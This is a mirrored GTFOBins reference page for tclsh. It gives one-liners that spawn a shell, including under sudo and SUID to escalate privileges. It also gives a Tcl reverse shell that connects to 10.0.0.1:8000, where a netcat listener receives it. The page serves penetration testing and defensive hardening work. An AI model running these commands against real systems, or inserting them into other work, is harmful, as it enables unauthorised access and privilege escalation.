This website requires JavaScript.
Explore
Help
Sign In
public-mirrors
/
GTFOBins.github.io
Watch
1
Star
0
Fork
0
You've already forked GTFOBins.github.io
mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced
2025-11-21 02:55:16 +01:00
Code
Issues
Projects
Releases
Wiki
Activity
Files
f2be339850beb7b80ea8f08883bd69a2940f438c
GTFOBins.github.io
/
_gtfobins
/
tclsh.md
Emilio Pinna
5f5598b1c3
Add tclsh reverse shell description
2018-05-22 22:07:10 +01:00
685 B
Raw
Blame
History
functions
functions
exec-interactive
sudo-enabled
suid-enabled
reverse-shell
code
tclsh exec /bin/sh <@stdin >@stdout 2>@stderr
code
sudo tclsh exec /bin/sh <@stdin >@stdout 2>@stderr
code
./tclsh exec /bin/sh -p <@stdin >@stdout 2>@stderr
description
code
Run `nc -l -p 8000` to receive the shell on the other end.
export RHOST=10.0.0.1 export RPORT=8000 echo 'set s [socket $::env(RHOST) $::env(RPORT)];while 1 { puts -nonewline $s "> ";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]} { puts $s $r }; flush $s; }; close $s;' | tclsh
Reference in New Issue
View Git Blame
Copy Permalink